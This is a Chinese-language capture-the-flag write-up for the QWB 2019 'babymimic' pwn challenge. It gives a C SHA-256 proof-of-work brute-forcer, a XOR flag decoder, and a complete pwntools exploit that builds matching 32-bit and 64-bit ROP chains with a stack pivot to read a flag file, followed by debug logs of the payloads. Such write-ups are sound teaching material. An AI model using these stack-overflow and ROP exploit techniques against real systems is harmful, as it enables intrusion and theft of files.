强网杯2019 pwn babymimic writeup

一道考验综合能力的pwn题。

爆破

ex@Ex:~/test$ nc 49.4.51.149 25391
[+]proof: skr=os.urandom(8)
[+]hashlib.sha256(skr).hexdigest()=23a27ff60016f28977fb56c3445f92ddb7511abcd79ab6bf462d82930bf5ba1e
[+]skr[0:5].encode('hex')=4ad80d1c3c
[-]skr.encode('hex')=

首先题目需要我们进行sha256爆破,开始时用Python的多线程总是速度不够快,经常被check,所以我就用C语言重新写了一遍。

// compiled: gcc -O3 -pthread crack.c sha256.c -o crack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include "sha256.h"

// 设置线程数目
#define THREAD_NUM 2

char global_hash[0x100] = {0};
char global_data[0x10] = {0};
char global_answer[0x100] = {0};

int str_to_hex(char *str)
{
    char high = 0, low = 0, i;

    if (strlen(str) % 2 != 0)
    {
        return 0;
    }

    for (i = 0; str[i]; i += 2)
    {
        if (str[i] >= '0' && str[i] <= '9')
        {
            high = str[i] - '0';
        }
        else if (str[i] >= 'a' && str[i] <= 'f')
        {
            high = str[i] - 'a' + 10;
        }
        else
        {
            return 0;
        }

        if (str[i + 1] >= '0' && str[i + 1] <= '9')
        {
            low = str[i + 1] - '0';
        }
        else if (str[i + 1] >= 'a' && str[i + 1] <= 'f')
        {
            low = str[i + 1] - 'a' + 10;
        }
        else
        {
            return 0;
        }

        str[i / 2] = ((high & 0x0f) << 4 | (low & 0x0f));
    }

    str[i / 2] = '\0';
    return 1;
}

void crack(void *p)
{
    int offset = *(int *)p, i, ii, iii;
    char hash[0x100];
    char data[0x10];
    char answer[0x100];
    memcpy(hash, global_hash, 0x100);
    memcpy(data, global_data, 0x10);
    memcpy(answer, global_answer, 0x100);

    for (i = 0; i < 256; i++)
    {
        data[5] = i;
        for (ii = 0; ii < 256; ii++)
        {
            data[6] = ii;
            for (iii = offset; iii < 256; iii += THREAD_NUM)
            {
                data[7] = iii;
                sha256(data, 8, hash);
                if (memcmp(hash, answer, 32) == 0)
                {
                    write(1, data, 8);
                    exit(0);
                }
            }
        }
    }
}

int main(int argc, char const *argv[])
{
    pthread_t threads[THREAD_NUM];
    int offset[THREAD_NUM], i;
    memcpy(global_data, argv[1], 5 * 2);
    memcpy(global_answer, argv[2], 32 * 2);

    // printf("%s\n%s\n", global_data, global_answer);
    str_to_hex(global_data);
    str_to_hex(global_answer);

    // 启动线程
    for (i = 0; i < THREAD_NUM; i++)
    {
        offset[i] = i;
        pthread_create(&threads[i], NULL, crack, (void *)&offset[i]);
    }

    // 等待线程
    for (i = 0; i < THREAD_NUM; i++)
    {
        pthread_join(threads[i], NULL);
    }

    return 0;
}

sha256源码来自:https://github.com/ilvn/SHA256

编译出来之后,配合下面的脚本就能过检查:

sh = remote('49.4.51.149', 25391)
result = sh.recvuntil("[-]skr.encode('hex')=")
answer = result[0x3f:0x7f]
print(answer)

prefix = result[0x9a:0xa4]
print(prefix)

cmd = './crack ' + prefix + ' ' + answer + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()
print(hexdump(key))

sh.sendline(binascii.b2a_hex(key))

flag加密

[+]teamtoken:[+]proof completed
your flag is encoded by your token!

def stream_encode(flag, token):
    s = ""
    for i in range(0, len(flag)):
        s += chr(ord(flag[i]) ^ ord(token[i % len(flag)]))
    return s.encode("hex")

your flag file --> flag_01a02b62514c64314d39ed2e1568a440
Welcome to QWB
We give you a little challenge, try to pwn it?

爆破之后,程序提示了flag是加了密的,再加上我们的token是32位的,所以就能确定flag文件应该是64字节

flag加密很简单,只需要一个脚本就能跑出来。

#!/usr/bin/python
# -*- coding:utf-8 -*-

import binascii

# 输出 flag
flag_file_content = 'your flag_file_content'
flag_file_content = binascii.a2b_hex(flag_file_content)
token = 'your token'

flag = ''
for i in range(len(token)):
    flag += chr(ord(flag_file_content[i]) ^ ord(token[i]))

print (flag)

# 再次验证一下
def stream_encode(flag, token):
    s = ""
    for i in range(0, len(flag)):
        s += chr(ord(flag[i]) ^ ord(token[i % len(flag)]))
    return s.encode("hex")
print(stream_encode(flag, token))

正题

题目给了我们两个程序,一个32位程序,一个64位程序,题目的考点就是让我们用一个脚本同时打通两个程序。

这里我说一下它的检查原理,在我们连上靶机之后,靶机会利用脚本同时启动32位程序和64位程序,我们的输入流会被脚本复制成两份,每个程序一份,然后脚本会检测输出流,若是两个程序的输出流不一致,则会被脚本check,若其中任意一个程序crash或者退出,则脚本会同时结束两个程序,直接断开链接。

所以我们要做的就是用同一个脚本,打32位程序和64位程序的时候,要保证输入流和输出流完全一致,这就考验我们构造payload的能力。

思路

两个程序都是标准的栈溢出,但是32位程序的溢出偏移是272字节,64位程序的溢出偏移是280字节,正是这个差别,使得我们可以构造出同时适用于两个程序的payload。

第一次读取payload

new_stack_x86 = 0x80db000 - 0x400
sh.send(
            'a' * 268 +  # offset
            p32(new_stack_x86) + # 32位程序 的新栈地址
            p32(0x8048902) +  # vul 函数的一个地址,再次进行读取输入流
            p32(0) + # no use
            payload_x64 # 64位程序 的payload
        )

这里我将32位程序进行栈转移64位程序正常ROP,否则一个ROP链是不能让两个程序同时兼容的,所以我分成了两次进行读取ROP,这是第一次发送64位的ROP链,之后会发送32位的。

这里0x8048902的地址主要是为了重新读取payload进行32的ROP。

 ► 0x8048902 <vul+93>   push   0x300
   0x8048907 <vul+98>   lea    eax, [ebp - 0x10c]
   0x804890d <vul+104>  push   eax
   0x804890e <vul+105>  push   0
   0x8048910 <vul+107>  call   read <0x806c8e0>

   0x8048915 <vul+112>  add    esp, 0x10

第二次读取payload

sh.send( 
            '\0\n' +    # 这里是为了保持两个ROP链有相同的输出流
            'b' * 270 + # 偏移
            payload_x86 # 第二次payload
        )

\0\n是为了保持两个ROP链有相同的输出流,因为32位的程序跳到0x8048902之后,有把读取到的内容puts出来,这里我将第一个字符设置为\0就是为了让32位的程序在运行puts时只输出一个换行,而第二字符\n是给64位程序用的,目的就是为了让两个程序同时输出一个换行字符。

64位的ROP

这个ROP链必须要保证和32位的ROP链的输出结果保持一致。

new_space_x64 = 0x6a4000-0x400
layout_x64 = [
    # 读取第二次 payload 输入
    p64(pop_rdi_ret_x64),
    p64(0),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(0x1000),
    p64(elf_x64.symbols['read']),

    # 输出换行
    p64(pop_rdi_ret_x64),
    p64(1),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64 + 1),
    p64(pop_rdx_ret_x64),
    p64(1),
    p64(elf_x64.symbols['write']),

    # 读取 flag 文件名
    p64(pop_rdi_ret_x64),
    p64(0),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(0x1000),
    p64(elf_x64.symbols['read']),

    # 打开 flag 文件
    p64(pop_rdi_ret_x64),
    p64(new_space_x64),
    p64(pop_rsi_ret_x64),
    p64(0),
    p64(pop_rdx_ret_x64),
    p64(0),
    p64(elf_x64.symbols['open']),

    # 读取 flag 文件
    p64(pop_rdi_ret_x64),
    p64(3),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(100),
    p64(elf_x64.symbols['read']),

    # 输出 flag 文件
    p64(pop_rdi_ret_x64),
    p64(1),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(flag_length),
    p64(elf_x64.symbols['write']),
]
payload_x64 = flat(layout_x64)

new_space_x64 + 1就是对应\0\n中的\n,这样就能保证两个程序同时输出一个换行,保证不会被check,之后就是从输入流读取flag文件名,然后打开,再读取,再输出,为了保证输入流、输出流一致,我们只需要把32位程序的ROP链也按照这个流程设计,那么就不会被check

32位的ROP

# 0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
flag_str_x86 = 0x80db000 - 0x100
pop_3_ret_x86 = 0x08055f54
layout_x86 = [
    # 读取 flag 文件名
    p32(elf_x86.symbols['read']),
    p32(pop_3_ret_x86),
    p32(0),
    p32(flag_str_x86),
    p32(100),

    # 打开 flag 文件
    p32(elf_x86.symbols['open']),
    p32(pop_3_ret_x86),
    p32(flag_str_x86),
    p32(0),
    p32(0),

    # 读取 flag 文件
    p32(elf_x86.symbols['read']),
    p32(pop_3_ret_x86),
    p32(3),
    p32(flag_str_x86),
    p32(100),

    # 输出 flag 文件
    p32(elf_x86.symbols['write']),
    p32(pop_3_ret_x86),
    p32(1),
    p32(flag_str_x86),
    p32(flag_length),
]
payload_x86 = flat(layout_x86)

和64位的ROP链保持一致,这样就能保持输入流、输出流一致,不会被check。

读取flag

之后就只需要发送我们的flag文件名,就能得到flag。

sh.sendline('./flag\x00')

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

context.log_level = 'debug'

sh = remote('49.4.51.149', 25391)
result = sh.recvuntil("[-]skr.encode('hex')=")
answer = result[0x3f:0x7f]
print(answer)

prefix = result[0x9a:0xa4]
print(prefix)

cmd = './crack ' + prefix + ' ' + answer + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()
print(hexdump(key))

sh.sendline(binascii.b2a_hex(key))

# 你的token
sh.sendline('*********************')

# sh = process("./__stkof")
elf_x64 = ELF("./__stkof")
elf_x86 = ELF("./_stkof")

# 创建pid文件,用于gdb调试
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

flag_length = 64

# pause()
print (sh.recvuntil('We give you a little challenge, try to pwn it?\n'))

# 0x00000000004005f6 : pop rdi ; ret
pop_rdi_ret_x64 = 0x00000000004005f6
# 0x0000000000405895 : pop rsi ; ret
pop_rsi_ret_x64 = 0x0000000000405895
# 0x000000000043b9d5 : pop rdx ; ret
pop_rdx_ret_x64 = 0x000000000043b9d5

new_space_x64 = 0x6a4000-0x400
layout_x64 = [
    # 读取第二次 payload 输入
    p64(pop_rdi_ret_x64),
    p64(0),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(0x1000),
    p64(elf_x64.symbols['read']),

    # 输出换行
    p64(pop_rdi_ret_x64),
    p64(1),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64 + 1),
    p64(pop_rdx_ret_x64),
    p64(1),
    p64(elf_x64.symbols['write']),

    # 读取 flag 文件名
    p64(pop_rdi_ret_x64),
    p64(0),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(0x1000),
    p64(elf_x64.symbols['read']),

    # 打开 flag 文件
    p64(pop_rdi_ret_x64),
    p64(new_space_x64),
    p64(pop_rsi_ret_x64),
    p64(0),
    p64(pop_rdx_ret_x64),
    p64(0),
    p64(elf_x64.symbols['open']),

    # 读取 flag 文件
    p64(pop_rdi_ret_x64),
    p64(3),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(100),
    p64(elf_x64.symbols['read']),

    # 输出 flag 文件
    p64(pop_rdi_ret_x64),
    p64(1),
    p64(pop_rsi_ret_x64),
    p64(new_space_x64),
    p64(pop_rdx_ret_x64),
    p64(flag_length),
    p64(elf_x64.symbols['write']),
]
payload_x64 = flat(layout_x64)

new_stack_x86 = 0x80db000 - 0x400
time.sleep(3)
sh.send(
            'a' * 268 +  # offset
            p32(new_stack_x86) + # 32位程序 的新栈地址
            p32(0x8048902) +  # vul 函数的一个地址,再次进行读取输入流
            p32(0) + # no use
            payload_x64 # 64位程序 的payload
        )

sh.recvuntil('a' * 268 + '\n')

# 0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
flag_str_x86 = 0x80db000 - 0x100
pop_3_ret_x86 = 0x08055f54
layout_x86 = [
    # 读取 flag 文件名
    p32(elf_x86.symbols['read']),
    p32(pop_3_ret_x86),
    p32(0),
    p32(flag_str_x86),
    p32(100),

    # 打开 flag 文件
    p32(elf_x86.symbols['open']),
    p32(pop_3_ret_x86),
    p32(flag_str_x86),
    p32(0),
    p32(0),

    # 读取 flag 文件
    p32(elf_x86.symbols['read']),
    p32(pop_3_ret_x86),
    p32(3),
    p32(flag_str_x86),
    p32(100),

    # 输出 flag 文件
    p32(elf_x86.symbols['write']),
    p32(pop_3_ret_x86),
    p32(1),
    p32(flag_str_x86),
    p32(flag_length),
]
payload_x86 = flat(layout_x86)

sh.send( 
            '\0\n' +    # 这里是为了保持两个ROP链有相同的输出流
            'b' * 270 + # 偏移
            payload_x86 # 第二次payload
        )

time.sleep(3)
# 你的flag 文件
sh.sendline('./flag\x00')
sh.recvuntil('\n')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

32位程序

ex@Ex:~/test$ python -c 'print("E" * 64)' > flag
ex@Ex:~/test$ python2 exp.py 
[+] Starting local process './_stkof': pid 21141
[DEBUG] '/home/ex/test/__stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/__stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] '/home/ex/test/_stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/_stkof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Received 0x3e bytes:
    'Welcome to QWB\n'
    'We give you a little challenge, try to pwn it?\n'
Welcome to QWB
We give you a little challenge, try to pwn it?

[DEBUG] Sent 0x268 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000100  61 61 61 61  61 61 61 61  61 61 61 61  00 ac 0d 08  │aaaa│aaaa│aaaa│····│
    00000110  02 89 04 08  00 00 00 00  f6 05 40 00  00 00 00 00  │····│····│··@·│····│
    00000120  00 00 00 00  00 00 00 00  95 58 40 00  00 00 00 00  │····│····│·X@·│····│
    00000130  00 30 6a 00  00 00 00 00  d5 b9 43 00  00 00 00 00  │·0j·│····│··C·│····│
    00000140  00 10 00 00  00 00 00 00  c0 b9 43 00  00 00 00 00  │····│····│··C·│····│
    00000150  f6 05 40 00  00 00 00 00  01 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000160  95 58 40 00  00 00 00 00  01 30 6a 00  00 00 00 00  │·X@·│····│·0j·│····│
    00000170  d5 b9 43 00  00 00 00 00  01 00 00 00  00 00 00 00  │··C·│····│····│····│
    00000180  90 ba 43 00  00 00 00 00  f6 05 40 00  00 00 00 00  │··C·│····│··@·│····│
    00000190  00 00 00 00  00 00 00 00  95 58 40 00  00 00 00 00  │····│····│·X@·│····│
    000001a0  00 30 6a 00  00 00 00 00  d5 b9 43 00  00 00 00 00  │·0j·│····│··C·│····│
    000001b0  00 10 00 00  00 00 00 00  c0 b9 43 00  00 00 00 00  │····│····│··C·│····│
    000001c0  f6 05 40 00  00 00 00 00  00 30 6a 00  00 00 00 00  │··@·│····│·0j·│····│
    000001d0  95 58 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │·X@·│····│····│····│
    000001e0  d5 b9 43 00  00 00 00 00  00 00 00 00  00 00 00 00  │··C·│····│····│····│
    000001f0  00 b8 43 00  00 00 00 00  f6 05 40 00  00 00 00 00  │··C·│····│··@·│····│
    00000200  03 00 00 00  00 00 00 00  95 58 40 00  00 00 00 00  │····│····│·X@·│····│
    00000210  00 30 6a 00  00 00 00 00  d5 b9 43 00  00 00 00 00  │·0j·│····│··C·│····│
    00000220  64 00 00 00  00 00 00 00  c0 b9 43 00  00 00 00 00  │d···│····│··C·│····│
    00000230  f6 05 40 00  00 00 00 00  01 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000240  95 58 40 00  00 00 00 00  00 30 6a 00  00 00 00 00  │·X@·│····│·0j·│····│
    00000250  d5 b9 43 00  00 00 00 00  40 00 00 00  00 00 00 00  │··C·│····│@···│····│
    00000260  90 ba 43 00  00 00 00 00                            │··C·│····││
    00000268
[DEBUG] Received 0x10d bytes:
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Sent 0x160 bytes:
    00000000  00 0a 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │··bb│bbbb│bbbb│bbbb│
    00000010  62 62 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │bbbb│bbbb│bbbb│bbbb│
    *
    00000110  e0 c8 06 08  54 5f 05 08  00 00 00 00  00 af 0d 08  │····│T_··│····│····│
    00000120  64 00 00 00  c0 c7 06 08  54 5f 05 08  00 af 0d 08  │d···│····│T_··│····│
    00000130  00 00 00 00  00 00 00 00  e0 c8 06 08  54 5f 05 08  │····│····│····│T_··│
    00000140  03 00 00 00  00 af 0d 08  64 00 00 00  b0 c9 06 08  │····│····│d···│····│
    00000150  54 5f 05 08  01 00 00 00  00 af 0d 08  40 00 00 00  │T_··│····│····│@···│
    00000160
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Sent 0x8 bytes:
    00000000  2e 2f 66 6c  61 67 00 0a                            │./fl│ag··││
    00000008
[*] Switching to interactive mode
[DEBUG] Received 0x40 bytes:
    'E' * 0x40
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE[*] Got EOF while reading in interactive
$  

64位程序

ex@Ex:~/test$ python -c 'print("E" * 64)' > flag
ex@Ex:~/test$ python2 exp3.py 
[+] Starting local process './__stkof': pid 21170
[DEBUG] '/home/ex/test/__stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/__stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] '/home/ex/test/_stkof' is statically linked, skipping GOT/PLT symbols
[*] '/home/ex/test/_stkof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Received 0x3e bytes:
    'Welcome to QWB\n'
    'We give you a little challenge, try to pwn it?\n'
Welcome to QWB
We give you a little challenge, try to pwn it?

[DEBUG] Sent 0x268 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000100  61 61 61 61  61 61 61 61  61 61 61 61  00 ac 0d 08  │aaaa│aaaa│aaaa│····│
    00000110  02 89 04 08  00 00 00 00  f6 05 40 00  00 00 00 00  │····│····│··@·│····│
    00000120  00 00 00 00  00 00 00 00  95 58 40 00  00 00 00 00  │····│····│·X@·│····│
    00000130  00 30 6a 00  00 00 00 00  d5 b9 43 00  00 00 00 00  │·0j·│····│··C·│····│
    00000140  00 10 00 00  00 00 00 00  c0 b9 43 00  00 00 00 00  │····│····│··C·│····│
    00000150  f6 05 40 00  00 00 00 00  01 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000160  95 58 40 00  00 00 00 00  01 30 6a 00  00 00 00 00  │·X@·│····│·0j·│····│
    00000170  d5 b9 43 00  00 00 00 00  01 00 00 00  00 00 00 00  │··C·│····│····│····│
    00000180  90 ba 43 00  00 00 00 00  f6 05 40 00  00 00 00 00  │··C·│····│··@·│····│
    00000190  00 00 00 00  00 00 00 00  95 58 40 00  00 00 00 00  │····│····│·X@·│····│
    000001a0  00 30 6a 00  00 00 00 00  d5 b9 43 00  00 00 00 00  │·0j·│····│··C·│····│
    000001b0  00 10 00 00  00 00 00 00  c0 b9 43 00  00 00 00 00  │····│····│··C·│····│
    000001c0  f6 05 40 00  00 00 00 00  00 30 6a 00  00 00 00 00  │··@·│····│·0j·│····│
    000001d0  95 58 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │·X@·│····│····│····│
    000001e0  d5 b9 43 00  00 00 00 00  00 00 00 00  00 00 00 00  │··C·│····│····│····│
    000001f0  00 b8 43 00  00 00 00 00  f6 05 40 00  00 00 00 00  │··C·│····│··@·│····│
    00000200  03 00 00 00  00 00 00 00  95 58 40 00  00 00 00 00  │····│····│·X@·│····│
    00000210  00 30 6a 00  00 00 00 00  d5 b9 43 00  00 00 00 00  │·0j·│····│··C·│····│
    00000220  64 00 00 00  00 00 00 00  c0 b9 43 00  00 00 00 00  │d···│····│··C·│····│
    00000230  f6 05 40 00  00 00 00 00  01 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000240  95 58 40 00  00 00 00 00  00 30 6a 00  00 00 00 00  │·X@·│····│·0j·│····│
    00000250  d5 b9 43 00  00 00 00 00  40 00 00 00  00 00 00 00  │··C·│····│@···│····│
    00000260  90 ba 43 00  00 00 00 00                            │··C·│····││
    00000268
[DEBUG] Received 0x10d bytes:
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Sent 0x160 bytes:
    00000000  00 0a 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │··bb│bbbb│bbbb│bbbb│
    00000010  62 62 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │bbbb│bbbb│bbbb│bbbb│
    *
    00000110  e0 c8 06 08  54 5f 05 08  00 00 00 00  00 af 0d 08  │····│T_··│····│····│
    00000120  64 00 00 00  c0 c7 06 08  54 5f 05 08  00 af 0d 08  │d···│····│T_··│····│
    00000130  00 00 00 00  00 00 00 00  e0 c8 06 08  54 5f 05 08  │····│····│····│T_··│
    00000140  03 00 00 00  00 af 0d 08  64 00 00 00  b0 c9 06 08  │····│····│d···│····│
    00000150  54 5f 05 08  01 00 00 00  00 af 0d 08  40 00 00 00  │T_··│····│····│@···│
    00000160
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Sent 0x8 bytes:
    00000000  2e 2f 66 6c  61 67 00 0a                            │./fl│ag··││
    00000008
[*] Switching to interactive mode
[DEBUG] Received 0x40 bytes:
    'E' * 0x40
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE[*] Got EOF while reading in interactive
$  

可以看到,两个程序的输入流、输出流完全一致。

总结

主要是考验我们构造ROP的能力。